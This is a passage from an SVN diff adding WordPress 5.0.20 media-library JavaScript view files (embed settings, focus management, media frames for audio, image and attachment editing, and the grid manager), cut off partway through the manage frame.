+ * @augments wp.media.view.Settings.AttachmentDisplay
+ * @augments wp.media.view.Settings
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+EmbedImage = AttachmentDisplay.extend(/** @lends wp.media.view.EmbedImage.prototype */{
+	className: 'embed-media-settings',
+	template:  wp.template('embed-image-settings'),
+
+	initialize: function() {
+		/**
+		 * Call `initialize` directly on parent class with passed arguments
+		 */
+		AttachmentDisplay.prototype.initialize.apply( this, arguments );
+		this.listenTo( this.model, 'change:url', this.updateImage );
+	},
+
+	updateImage: function() {
+		this.$('img').attr( 'src', this.model.get('url') );
+	}
+});
+
+module.exports = EmbedImage;
Index: /tags/5.0.20/src/wp-includes/js/media/views/embed/link.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/embed/link.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/embed/link.js	(revision 56912)
@@ -0,0 +1,97 @@
+var $ = jQuery,
+	EmbedLink;
+
+/**
+ * wp.media.view.EmbedLink
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.view.Settings
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+EmbedLink = wp.media.view.Settings.extend(/** @lends wp.media.view.EmbedLink.prototype */{
+	className: 'embed-link-settings',
+	template:  wp.template('embed-link-settings'),
+
+	initialize: function() {
+		this.listenTo( this.model, 'change:url', this.updateoEmbed );
+	},
+
+	updateoEmbed: _.debounce( function() {
+		var url = this.model.get( 'url' );
+
+		// clear out previous results
+		this.$('.embed-container').hide().find('.embed-preview').empty();
+		this.$( '.setting' ).hide();
+
+		// only proceed with embed if the field contains more than 11 characters
+		// Example: http://a.io is 11 chars
+		if ( url && ( url.length < 11 || ! url.match(/^http(s)?:\/\//) ) ) {
+			return;
+		}
+
+		this.fetch();
+	}, wp.media.controller.Embed.sensitivity ),
+
+	fetch: function() {
+		var url = this.model.get( 'url' ), re, youTubeEmbedMatch;
+
+		// check if they haven't typed in 500 ms
+		if ( $('#embed-url-field').val() !== url ) {
+			return;
+		}
+
+		if ( this.dfd && 'pending' === this.dfd.state() ) {
+			this.dfd.abort();
+		}
+
+		// Support YouTube embed urls, since they work once in the editor.
+		re = /https?:\/\/www\.youtube\.com\/embed\/([^/]+)/;
+		youTubeEmbedMatch = re.exec( url );
+		if ( youTubeEmbedMatch ) {
+			url = 'https://www.youtube.com/watch?v=' + youTubeEmbedMatch[ 1 ];
+		}
+
+		this.dfd = wp.apiRequest({
+			url: wp.media.view.settings.oEmbedProxyUrl,
+			data: {
+				url: url,
+				maxwidth: this.model.get( 'width' ),
+				maxheight: this.model.get( 'height' )
+			},
+			type: 'GET',
+			dataType: 'json',
+			context: this
+		})
+			.done( function( response ) {
+				this.renderoEmbed( {
+					data: {
+						body: response.html || ''
+					}
+				} );
+			} )
+			.fail( this.renderFail );
+	},
+
+	renderFail: function ( response, status ) {
+		if ( 'abort' === status ) {
+			return;
+		}
+		this.$( '.link-text' ).show();
+	},
+
+	renderoEmbed: function( response ) {
+		var html = ( response && response.data && response.data.body ) || '';
+
+		if ( html ) {
+			this.$('.embed-container').show().find('.embed-preview').html( html );
+		} else {
+			this.renderFail();
+		}
+	}
+});
+
+module.exports = EmbedLink;
Index: /tags/5.0.20/src/wp-includes/js/media/views/embed/url.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/embed/url.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/embed/url.js	(revision 56912)
@@ -0,0 +1,79 @@
+var View = wp.media.View,
+	$ = jQuery,
+	EmbedUrl;
+
+/**
+ * wp.media.view.EmbedUrl
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+EmbedUrl = View.extend(/** @lends wp.media.view.EmbedUrl.prototype */{
+	tagName:   'label',
+	className: 'embed-url',
+
+	events: {
+		'input':  'url',
+		'keyup':  'url',
+		'change': 'url'
+	},
+
+	initialize: function() {
+		this.$input = $('<input id="embed-url-field" type="url" />').val( this.model.get('url') );
+		this.input = this.$input[0];
+
+		this.spinner = $('<span class="spinner" />')[0];
+		this.$el.append([ this.input, this.spinner ]);
+
+		this.listenTo( this.model, 'change:url', this.render );
+
+		if ( this.model.get( 'url' ) ) {
+			_.delay( _.bind( function () {
+				this.model.trigger( 'change:url' );
+			}, this ), 500 );
+		}
+	},
+	/**
+	 * @returns {wp.media.view.EmbedUrl} Returns itself to allow chaining
+	 */
+	render: function() {
+		var $input = this.$input;
+
+		if ( $input.is(':focus') ) {
+			return;
+		}
+
+		this.input.value = this.model.get('url') || 'http://';
+		/**
+		 * Call `render` directly on parent class with passed arguments
+		 */
+		View.prototype.render.apply( this, arguments );
+		return this;
+	},
+
+	ready: function() {
+		if ( ! wp.media.isTouchDevice ) {
+			this.focus();
+		}
+	},
+
+	url: function( event ) {
+		this.model.set( 'url', $.trim( event.target.value ) );
+	},
+
+	/**
+	 * If the input is visible, focus and select its contents.
+	 */
+	focus: function() {
+		var $input = this.$input;
+		if ( $input.is(':visible') ) {
+			$input.focus()[0].select();
+		}
+	}
+});
+
+module.exports = EmbedUrl;
Index: /tags/5.0.20/src/wp-includes/js/media/views/focus-manager.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/focus-manager.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/focus-manager.js	(revision 56912)
@@ -0,0 +1,46 @@
+/**
+ * wp.media.view.FocusManager
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+var FocusManager = wp.media.View.extend(/** @lends wp.media.view.FocusManager.prototype */{
+
+	events: {
+		'keydown': 'constrainTabbing'
+	},
+
+	focus: function() { // Reset focus on first left menu item
+		this.$('.media-menu-item').first().focus();
+	},
+	/**
+	 * @param {Object} event
+	 */
+	constrainTabbing: function( event ) {
+		var tabbables;
+
+		// Look for the tab key.
+		if ( 9 !== event.keyCode ) {
+			return;
+		}
+
+		// Skip the file input added by Plupload.
+		tabbables = this.$( ':tabbable' ).not( '.moxie-shim input[type="file"]' );
+
+		// Keep tab focus within media modal while it's open
+		if ( tabbables.last()[0] === event.target && ! event.shiftKey ) {
+			tabbables.first().focus();
+			return false;
+		} else if ( tabbables.first()[0] === event.target && event.shiftKey ) {
+			tabbables.last().focus();
+			return false;
+		}
+	}
+
+});
+
+module.exports = FocusManager;
Index: /tags/5.0.20/src/wp-includes/js/media/views/frame.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/frame.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/frame.js	(revision 56912)
@@ -0,0 +1,166 @@
+/**
+ * wp.media.view.Frame
+ *
+ * A frame is a composite view consisting of one or more regions and one or more
+ * states.
+ *
+ * @memberOf wp.media.view
+ *
+ * @see wp.media.controller.State
+ * @see wp.media.controller.Region
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ * @mixes wp.media.controller.StateMachine
+ */
+var Frame = wp.media.View.extend(/** @lends wp.media.view.Frame.prototype */{
+	initialize: function() {
+		_.defaults( this.options, {
+			mode: [ 'select' ]
+		});
+		this._createRegions();
+		this._createStates();
+		this._createModes();
+	},
+
+	_createRegions: function() {
+		// Clone the regions array.
+		this.regions = this.regions ? this.regions.slice() : [];
+
+		// Initialize regions.
+		_.each( this.regions, function( region ) {
+			this[ region ] = new wp.media.controller.Region({
+				view:     this,
+				id:       region,
+				selector: '.media-frame-' + region
+			});
+		}, this );
+	},
+	/**
+	 * Create the frame's states.
+	 *
+	 * @see wp.media.controller.State
+	 * @see wp.media.controller.StateMachine
+	 *
+	 * @fires wp.media.controller.State#ready
+	 */
+	_createStates: function() {
+		// Create the default `states` collection.
+		this.states = new Backbone.Collection( null, {
+			model: wp.media.controller.State
+		});
+
+		// Ensure states have a reference to the frame.
+		this.states.on( 'add', function( model ) {
+			model.frame = this;
+			model.trigger('ready');
+		}, this );
+
+		if ( this.options.states ) {
+			this.states.add( this.options.states );
+		}
+	},
+
+	/**
+	 * A frame can be in a mode or multiple modes at one time.
+	 *
+	 * For example, the manage media frame can be in the `Bulk Select` or `Edit` mode.
+	 */
+	_createModes: function() {
+		// Store active "modes" that the frame is in. Unrelated to region modes.
+		this.activeModes = new Backbone.Collection();
+		this.activeModes.on( 'add remove reset', _.bind( this.triggerModeEvents, this ) );
+
+		_.each( this.options.mode, function( mode ) {
+			this.activateMode( mode );
+		}, this );
+	},
+	/**
+	 * Reset all states on the frame to their defaults.
+	 *
+	 * @returns {wp.media.view.Frame} Returns itself to allow chaining
+	 */
+	reset: function() {
+		this.states.invoke( 'trigger', 'reset' );
+		return this;
+	},
+	/**
+	 * Map activeMode collection events to the frame.
+	 */
+	triggerModeEvents: function( model, collection, options ) {
+		var collectionEvent,
+			modeEventMap = {
+				add: 'activate',
+				remove: 'deactivate'
+			},
+			eventToTrigger;
+		// Probably a better way to do this.
+		_.each( options, function( value, key ) {
+			if ( value ) {
+				collectionEvent = key;
+			}
+		} );
+
+		if ( ! _.has( modeEventMap, collectionEvent ) ) {
+			return;
+		}
+
+		eventToTrigger = model.get('id') + ':' + modeEventMap[collectionEvent];
+		this.trigger( eventToTrigger );
+	},
+	/**
+	 * Activate a mode on the frame.
+	 *
+	 * @param string mode Mode ID.
+	 * @returns {this} Returns itself to allow chaining.
+	 */
+	activateMode: function( mode ) {
+		// Bail if the mode is already active.
+		if ( this.isModeActive( mode ) ) {
+			return;
+		}
+		this.activeModes.add( [ { id: mode } ] );
+		// Add a CSS class to the frame so elements can be styled for the mode.
+		this.$el.addClass( 'mode-' + mode );
+
+		return this;
+	},
+	/**
+	 * Deactivate a mode on the frame.
+	 *
+	 * @param string mode Mode ID.
+	 * @returns {this} Returns itself to allow chaining.
+	 */
+	deactivateMode: function( mode ) {
+		// Bail if the mode isn't active.
+		if ( ! this.isModeActive( mode ) ) {
+			return this;
+		}
+		this.activeModes.remove( this.activeModes.where( { id: mode } ) );
+		this.$el.removeClass( 'mode-' + mode );
+		/**
+		 * Frame mode deactivation event.
+		 *
+		 * @event wp.media.view.Frame#{mode}:deactivate
+		 */
+		this.trigger( mode + ':deactivate' );
+
+		return this;
+	},
+	/**
+	 * Check if a mode is enabled on the frame.
+	 *
+	 * @param  string mode Mode ID.
+	 * @return bool
+	 */
+	isModeActive: function( mode ) {
+		return Boolean( this.activeModes.where( { id: mode } ).length );
+	}
+});
+
+// Make the `Frame` a `StateMachine`.
+_.extend( Frame.prototype, wp.media.controller.StateMachine.prototype );
+
+module.exports = Frame;
Index: /tags/5.0.20/src/wp-includes/js/media/views/frame/audio-details.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/frame/audio-details.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/frame/audio-details.js	(revision 56912)
@@ -0,0 +1,76 @@
+var MediaDetails = wp.media.view.MediaFrame.MediaDetails,
+	MediaLibrary = wp.media.controller.MediaLibrary,
+
+	l10n = wp.media.view.l10n,
+	AudioDetails;
+
+/**
+ * wp.media.view.MediaFrame.AudioDetails
+ *
+ * @memberOf wp.media.view.MediaFrame
+ *
+ * @class
+ * @augments wp.media.view.MediaFrame.MediaDetails
+ * @augments wp.media.view.MediaFrame.Select
+ * @augments wp.media.view.MediaFrame
+ * @augments wp.media.view.Frame
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ * @mixes wp.media.controller.StateMachine
+ */
+AudioDetails = MediaDetails.extend(/** @lends wp.media.view.MediaFrame.AudioDetails.prototype */{
+	defaults: {
+		id:      'audio',
+		url:     '',
+		menu:    'audio-details',
+		content: 'audio-details',
+		toolbar: 'audio-details',
+		type:    'link',
+		title:    l10n.audioDetailsTitle,
+		priority: 120
+	},
+
+	initialize: function( options ) {
+		options.DetailsView = wp.media.view.AudioDetails;
+		options.cancelText = l10n.audioDetailsCancel;
+		options.addText = l10n.audioAddSourceTitle;
+
+		MediaDetails.prototype.initialize.call( this, options );
+	},
+
+	bindHandlers: function() {
+		MediaDetails.prototype.bindHandlers.apply( this, arguments );
+
+		this.on( 'toolbar:render:replace-audio', this.renderReplaceToolbar, this );
+		this.on( 'toolbar:render:add-audio-source', this.renderAddSourceToolbar, this );
+	},
+
+	createStates: function() {
+		this.states.add([
+			new wp.media.controller.AudioDetails( {
+				media: this.media
+			} ),
+
+			new MediaLibrary( {
+				type: 'audio',
+				id: 'replace-audio',
+				title: l10n.audioReplaceTitle,
+				toolbar: 'replace-audio',
+				media: this.media,
+				menu: 'audio-details'
+			} ),
+
+			new MediaLibrary( {
+				type: 'audio',
+				id: 'add-audio-source',
+				title: l10n.audioAddSourceTitle,
+				toolbar: 'add-audio-source',
+				media: this.media,
+				menu: false
+			} )
+		]);
+	}
+});
+
+module.exports = AudioDetails;
Index: /tags/5.0.20/src/wp-includes/js/media/views/frame/edit-attachments.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/frame/edit-attachments.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/frame/edit-attachments.js	(revision 56912)
@@ -0,0 +1,258 @@
+var Frame = wp.media.view.Frame,
+	MediaFrame = wp.media.view.MediaFrame,
+
+	$ = jQuery,
+	EditAttachments;
+
+/**
+ * wp.media.view.MediaFrame.EditAttachments
+ *
+ * A frame for editing the details of a specific media item.
+ *
+ * Opens in a modal by default.
+ *
+ * Requires an attachment model to be passed in the options hash under `model`.
+ *
+ * @memberOf wp.media.view.MediaFrame
+ *
+ * @class
+ * @augments wp.media.view.Frame
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ * @mixes wp.media.controller.StateMachine
+ */
+EditAttachments = MediaFrame.extend(/** @lends wp.media.view.MediaFrame.EditAttachments.prototype */{
+
+	className: 'edit-attachment-frame',
+	template:  wp.template( 'edit-attachment-frame' ),
+	regions:   [ 'title', 'content' ],
+
+	events: {
+		'click .left':  'previousMediaItem',
+		'click .right': 'nextMediaItem'
+	},
+
+	initialize: function() {
+		Frame.prototype.initialize.apply( this, arguments );
+
+		_.defaults( this.options, {
+			modal: true,
+			state: 'edit-attachment'
+		});
+
+		this.controller = this.options.controller;
+		this.gridRouter = this.controller.gridRouter;
+		this.library = this.options.library;
+
+		if ( this.options.model ) {
+			this.model = this.options.model;
+		}
+
+		this.bindHandlers();
+		this.createStates();
+		this.createModal();
+
+		this.title.mode( 'default' );
+		this.toggleNav();
+	},
+
+	bindHandlers: function() {
+		// Bind default title creation.
+		this.on( 'title:create:default', this.createTitle, this );
+
+		this.on( 'content:create:edit-metadata', this.editMetadataMode, this );
+		this.on( 'content:create:edit-image', this.editImageMode, this );
+		this.on( 'content:render:edit-image', this.editImageModeRender, this );
+		this.on( 'refresh', this.rerender, this );
+		this.on( 'close', this.detach );
+
+		this.bindModelHandlers();
+		this.listenTo( this.gridRouter, 'route:search', this.close, this );
+	},
+
+	bindModelHandlers: function() {
+		// Close the modal if the attachment is deleted.
+		this.listenTo( this.model, 'change:status destroy', this.close, this );
+	},
+
+	createModal: function() {
+		// Initialize modal container view.
+		if ( this.options.modal ) {
+			this.modal = new wp.media.view.Modal({
+				controller: this,
+				title:      this.options.title
+			});
+
+			this.modal.on( 'open', _.bind( function () {
+				$( 'body' ).on( 'keydown.media-modal', _.bind( this.keyEvent, this ) );
+			}, this ) );
+
+			// Completely destroy the modal DOM element when closing it.
+			this.modal.on( 'close', _.bind( function() {
+				$( 'body' ).off( 'keydown.media-modal' ); /* remove the keydown event */
+				// Restore the original focus item if possible
+				$( 'li.attachment[data-id="' + this.model.get( 'id' ) +'"]' ).focus();
+				this.resetRoute();
+			}, this ) );
+
+			// Set this frame as the modal's content.
+			this.modal.content( this );
+			this.modal.open();
+		}
+	},
+
+	/**
+	 * Add the default states to the frame.
+	 */
+	createStates: function() {
+		this.states.add([
+			new wp.media.controller.EditAttachmentMetadata({
+				model:   this.model,
+				library: this.library
+			})
+		]);
+	},
+
+	/**
+	 * Content region rendering callback for the `edit-metadata` mode.
+	 *
+	 * @param {Object} contentRegion Basic object with a `view` property, which
+	 *                               should be set with the proper region view.
+	 */
+	editMetadataMode: function( contentRegion ) {
+		contentRegion.view = new wp.media.view.Attachment.Details.TwoColumn({
+			controller: this,
+			model:      this.model
+		});
+
+		/**
+		 * Attach a subview to display fields added via the
+		 * `attachment_fields_to_edit` filter.
+		 */
+		contentRegion.view.views.set( '.attachment-compat', new wp.media.view.AttachmentCompat({
+			controller: this,
+			model:      this.model
+		}) );
+
+		// Update browser url when navigating media details, except on load.
+		if ( this.model && ! this.model.get( 'skipHistory' ) ) {
+			this.gridRouter.navigate( this.gridRouter.baseUrl( '?item=' + this.model.id ) );
+		}
+	},
+
+	/**
+	 * Render the EditImage view into the frame's content region.
+	 *
+	 * @param {Object} contentRegion Basic object with a `view` property, which
+	 *                               should be set with the proper region view.
+	 */
+	editImageMode: function( contentRegion ) {
+		var editImageController = new wp.media.controller.EditImage( {
+			model: this.model,
+			frame: this
+		} );
+		// Noop some methods.
+		editImageController._toolbar = function() {};
+		editImageController._router = function() {};
+		editImageController._menu = function() {};
+
+		contentRegion.view = new wp.media.view.EditImage.Details( {
+			model: this.model,
+			frame: this,
+			controller: editImageController
+		} );
+
+		this.gridRouter.navigate( this.gridRouter.baseUrl( '?item=' + this.model.id + '&mode=edit' ) );
+
+	},
+
+	editImageModeRender: function( view ) {
+		view.on( 'ready', view.loadEditor );
+	},
+
+	toggleNav: function() {
+		this.$('.left').toggleClass( 'disabled', ! this.hasPrevious() );
+		this.$('.right').toggleClass( 'disabled', ! this.hasNext() );
+	},
+
+	/**
+	 * Rerender the view.
+	 */
+	rerender: function( model ) {
+		this.stopListening( this.model );
+
+		this.model = model;
+
+		this.bindModelHandlers();
+
+		// Only rerender the `content` region.
+		if ( this.content.mode() !== 'edit-metadata' ) {
+			this.content.mode( 'edit-metadata' );
+		} else {
+			this.content.render();
+		}
+
+		this.toggleNav();
+	},
+
+	/**
+	 * Click handler to switch to the previous media item.
+	 */
+	previousMediaItem: function() {
+		if ( ! this.hasPrevious() ) {
+			return;
+		}
+		this.trigger( 'refresh', this.library.at( this.getCurrentIndex() - 1 ) );
+		this.$( '.left' ).focus();
+	},
+
+	/**
+	 * Click handler to switch to the next media item.
+	 */
+	nextMediaItem: function() {
+		if ( ! this.hasNext() ) {
+			return;
+		}
+		this.trigger( 'refresh', this.library.at( this.getCurrentIndex() + 1 ) );
+		this.$( '.right' ).focus();
+	},
+
+	getCurrentIndex: function() {
+		return this.library.indexOf( this.model );
+	},
+
+	hasNext: function() {
+		return ( this.getCurrentIndex() + 1 ) < this.library.length;
+	},
+
+	hasPrevious: function() {
+		return ( this.getCurrentIndex() - 1 ) > -1;
+	},
+	/**
+	 * Respond to the keyboard events: right arrow, left arrow, except when
+	 * focus is in a textarea or input field.
+	 */
+	keyEvent: function( event ) {
+		if ( ( 'INPUT' === event.target.nodeName || 'TEXTAREA' === event.target.nodeName ) && ! ( event.target.readOnly || event.target.disabled ) ) {
+			return;
+		}
+
+		// The right arrow key
+		if ( 39 === event.keyCode ) {
+			this.nextMediaItem();
+		}
+		// The left arrow key
+		if ( 37 === event.keyCode ) {
+			this.previousMediaItem();
+		}
+	},
+
+	resetRoute: function() {
+		var searchTerm = this.controller.browserView.toolbar.get( 'search' ).$el.val(),
+			url = '' !== searchTerm ? '?search=' + searchTerm : '';
+		this.gridRouter.navigate( this.gridRouter.baseUrl( url ), { replace: true } );
+	}
+});
+
+module.exports = EditAttachments;
Index: /tags/5.0.20/src/wp-includes/js/media/views/frame/image-details.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/frame/image-details.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/frame/image-details.js	(revision 56912)
@@ -0,0 +1,178 @@
+var Select = wp.media.view.MediaFrame.Select,
+	l10n = wp.media.view.l10n,
+	ImageDetails;
+
+/**
+ * wp.media.view.MediaFrame.ImageDetails
+ *
+ * A media frame for manipulating an image that's already been inserted
+ * into a post.
+ *
+ * @memberOf wp.media.view.MediaFrame
+ *
+ * @class
+ * @augments wp.media.view.MediaFrame.Select
+ * @augments wp.media.view.MediaFrame
+ * @augments wp.media.view.Frame
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ * @mixes wp.media.controller.StateMachine
+ */
+ImageDetails = Select.extend(/** @lends wp.media.view.MediaFrame.ImageDetails.prototype */{
+	defaults: {
+		id:      'image',
+		url:     '',
+		menu:    'image-details',
+		content: 'image-details',
+		toolbar: 'image-details',
+		type:    'link',
+		title:    l10n.imageDetailsTitle,
+		priority: 120
+	},
+
+	initialize: function( options ) {
+		this.image = new wp.media.model.PostImage( options.metadata );
+		this.options.selection = new wp.media.model.Selection( this.image.attachment, { multiple: false } );
+		Select.prototype.initialize.apply( this, arguments );
+	},
+
+	bindHandlers: function() {
+		Select.prototype.bindHandlers.apply( this, arguments );
+		this.on( 'menu:create:image-details', this.createMenu, this );
+		this.on( 'content:create:image-details', this.imageDetailsContent, this );
+		this.on( 'content:render:edit-image', this.editImageContent, this );
+		this.on( 'toolbar:render:image-details', this.renderImageDetailsToolbar, this );
+		// override the select toolbar
+		this.on( 'toolbar:render:replace', this.renderReplaceImageToolbar, this );
+	},
+
+	createStates: function() {
+		this.states.add([
+			new wp.media.controller.ImageDetails({
+				image: this.image,
+				editable: false
+			}),
+			new wp.media.controller.ReplaceImage({
+				id: 'replace-image',
+				library: wp.media.query( { type: 'image' } ),
+				image: this.image,
+				multiple:  false,
+				title:     l10n.imageReplaceTitle,
+				toolbar: 'replace',
+				priority:  80,
+				displaySettings: true
+			}),
+			new wp.media.controller.EditImage( {
+				image: this.image,
+				selection: this.options.selection
+			} )
+		]);
+	},
+
+	imageDetailsContent: function( options ) {
+		options.view = new wp.media.view.ImageDetails({
+			controller: this,
+			model: this.state().image,
+			attachment: this.state().image.attachment
+		});
+	},
+
+	editImageContent: function() {
+		var state = this.state(),
+			model = state.get('image'),
+			view;
+
+		if ( ! model ) {
+			return;
+		}
+
+		view = new wp.media.view.EditImage( { model: model, controller: this } ).render();
+
+		this.content.set( view );
+
+		// after bringing in the frame, load the actual editor via an ajax call
+		view.loadEditor();
+
+	},
+
+	renderImageDetailsToolbar: function() {
+		this.toolbar.set( new wp.media.view.Toolbar({
+			controller: this,
+			items: {
+				select: {
+					style:    'primary',
+					text:     l10n.update,
+					priority: 80,
+
+					click: function() {
+						var controller = this.controller,
+							state = controller.state();
+
+						controller.close();
+
+						// not sure if we want to use wp.media.string.image which will create a shortcode or
+						// perhaps wp.html.string to at least to build the <img />
+						state.trigger( 'update', controller.image.toJSON() );
+
+						// Restore and reset the default state.
+						controller.setState( controller.options.state );
+						controller.reset();
+					}
+				}
+			}
+		}) );
+	},
+
+	renderReplaceImageToolbar: function() {
+		var frame = this,
+			lastState = frame.lastState(),
+			previous = lastState && lastState.id;
+
+		this.toolbar.set( new wp.media.view.Toolbar({
+			controller: this,
+			items: {
+				back: {
+					text:     l10n.back,
+					priority: 20,
+					click:    function() {
+						if ( previous ) {
+							frame.setState( previous );
+						} else {
+							frame.close();
+						}
+					}
+				},
+
+				replace: {
+					style:    'primary',
+					text:     l10n.replace,
+					priority: 80,
+					requires: { selection: true },
+
+					click: function() {
+						var controller = this.controller,
+							state = controller.state(),
+							selection = state.get( 'selection' ),
+							attachment = selection.single();
+
+						controller.close();
+
+						controller.image.changeAttachment( attachment, state.display( attachment ) );
+
+						// not sure if we want to use wp.media.string.image which will create a shortcode or
+						// perhaps wp.html.string to at least to build the <img />
+						state.trigger( 'replace', controller.image.toJSON() );
+
+						// Restore and reset the default state.
+						controller.setState( controller.options.state );
+						controller.reset();
+					}
+				}
+			}
+		}) );
+	}
+
+});
+
+module.exports = ImageDetails;
Index: /tags/5.0.20/src/wp-includes/js/media/views/frame/manage.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/frame/manage.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/frame/manage.js	(revision 56912)
@@ -0,0 +1,287 @@
+var MediaFrame = wp.media.view.MediaFrame,
+	Library = wp.media.controller.Library,
+
+	$ = Backbone.$,
+	Manage;
+
+/**
+ * wp.media.view.MediaFrame.Manage
+ *
+ * A generic management frame workflow.
+ *
+ * Used in the media grid view.
+ *
+ * @memberOf wp.media.view.MediaFrame
+ *
+ * @class
+ * @augments wp.media.view.MediaFrame
+ * @augments wp.media.view.Frame
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ * @mixes wp.media.controller.StateMachine
+ */
+Manage = MediaFrame.extend(/** @lends wp.media.view.MediaFrame.Manage.prototype */{
+	/**
+	 * @constructs
+	 */
+	initialize: function() {
+		_.defaults( this.options, {
+			title:     '',
+			modal:     false,
+			selection: [],
+			library:   {}, // Options hash for the query to the media library.
+			multiple:  'add',
+			state:     'library',
+			uploader:  true,
+			mode:      [ 'grid', 'edit' ]
+		});
+
+		this.$body = $( document.body );
+		this.$window = $( window );
+		this.$adminBar = $( '#wpadminbar' );
+		// Store the Add New button for later reuse in wp.media.view.UploaderInline.
+		this.$uploaderToggler = $( '.page-title-action' )
+			.attr( 'aria-expanded', 'false' )
+			.on( 'click', _.bind( this.addNewClickHandler, this ) );
+
+		this.$window.on( 'scroll resize', _.debounce( _.bind( this.fixPosition, this ), 15 ) );
+
+		// Ensure core and media grid view UI is enabled.
+		this.$el.addClass('wp-core-ui');
+
+		// Force the uploader off if the upload limit has been exceeded or
+		// if the browser isn't supported.
+		if ( wp.Uploader.limitExceeded || ! wp.Uploader.browser.supported ) {
+			this.options.uploader = false;
+		}
+
+		// Initialize a window-wide uploader.
+		if ( this.options.uploader ) {
+			this.uploader = new wp.media.view.UploaderWindow({
+				controller: this,
+				uploader: {
+					dropzone:  document.body,
+					container: document.body
+				}
+			}).render();
+			this.uploader.ready();
+			$('body').append( this.uploader.el );
+
+			this.options.uploader = false;
+		}
+
+		this.gridRouter = new wp.media.view.MediaFrame.Manage.Router();
+
+		// Call 'initialize' directly on the parent class.
+		MediaFrame.prototype.initialize.apply( this, arguments );
+
+		// Append the frame view directly the supplied container.
+		this.$el.appendTo( this.options.container );
+
+		this.createStates();
+		this.bindRegionModeHandlers();
+		this.render();
+		this.bindSearchHandler();
+
+		wp.media.frames.browse = this;
+	},
+
+	bindSearchHandler: function() {
+		var search = this.$( '#media-search-input' ),
+			searchView = this.browserView.toolbar.get( 'search' ).$el,
+			listMode = this.$( '.view-list' ),
+
+			input  = _.throttle( function (e) {
+				var val = $( e.currentTarget ).val(),
+					url = '';
+
+				if ( val ) {
+					url += '?search=' + val;
+					this.gridRouter.navigate( this.gridRouter.baseUrl( url ), { replace: true } );
+				}
+			}, 1000 );
+
+		// Update the URL when entering search string (at most once per second)
+		search.on( 'input', _.bind( input, this ) );
+
+		this.gridRouter
+			.on( 'route:search', function () {
+				var href = window.location.href;
+				if ( href.indexOf( 'mode=' ) > -1 ) {
+					href = href.replace( /mode=[^&]+/g, 'mode=list' );
+				} else {
+					href += href.indexOf( '?' ) > -1 ? '&mode=list' : '?mode=list';
+				}
+				href = href.replace( 'search=', 's=' );
+				listMode.prop( 'href', href );
+			})
+			.on( 'route:reset', function() {
+				searchView.val( '' ).trigger( 'input' );
+			});
+	},
+
+	/**
+	 * Create the default states for the frame.
+	 */
+	createStates: function() {
+		var options = this.options;
+
+		if ( this.options.states ) {
+			return;
+		}
+
+		// Add the default states.
+		this.states.add([
+			new Library({
+				library:            wp.media.query( options.library ),
+				multiple:           options.multiple,
+				title:              options.title,
+				content:            'browse',
+				toolbar:            'select',
+				contentUserSetting: false,
+				filterable:         'all',
+				autoSelect:         false
+			})
+		]);
+	},
+
+	/**
+	 * Bind region mode activation events to proper handlers.
+	 */
+	bindRegionModeHandlers: function() {
+		this.on( 'content:create:browse', this.browseContent, this );
+
+		// Handle a frame-level event for editing an attachment.
+		this.on( 'edit:attachment', this.openEditAttachmentModal, this );
+
+		this.on( 'select:activate', this.bindKeydown, this );
+		this.on( 'select:deactivate', this.unbindKeydown, this );
+	},
+
+	handleKeydown: function( e ) {
+		if ( 27 === e.which ) {
+			e.preventDefault();
+			this.deactivateMode( 'select' ).activateMode( 'edit' );
+		}
+	},
+
+	bindKeydown: function() {
+		this.$body.on( 'keydown.select', _.bind( this.handleKeydown, this ) );
+	},
+
+	unbindKeydown: function() {
+		this.$body.off( 'keydown.select' );
+	},
+
+	fixPosition: function() {
+		var $browser, $toolbar;
+		if ( ! this.isModeActive( 'select' ) ) {
+			return;
+		}
+
+		$browser = this.$('.attachments-browser');
+		$toolbar = $browser.find('.media-toolbar');
+
+		// Offset doesn't appear to take top margin into account, hence +16
+		if ( ( $browser.offset().top + 16 ) < this.$window.scrollTop() + this.$adminBar.height() ) {
+			$browser.addClass( 'fixed' );
+			$toolbar.css('width', $browser.width() + 'px');
+		} else {
+			$browser.removeClass( 'fixed' );
+			$toolbar.css('width', '');
+		}
+	},
+
+	/**
+	 * Click handler for the `Add New` button.
+	 */
+	addNewClickHandler: function( event ) {
+		event.preventDefault();
+		this.trigger( 'toggle:upload:attachment' );
+
+		if ( this.uploader ) {
+			this.uploader.refresh();
+		}
+	},
+
+	/**
+	 * Open the Edit Attachment modal.
+	 */
+	openEditAttachmentModal: function( model ) {
+		// Create a new EditAttachment frame, passing along the library and the attachment model.
+		if ( wp.media.frames.edit ) {
+			wp.media.frames.edit.open().trigger( 'refresh', model );
+		} else {
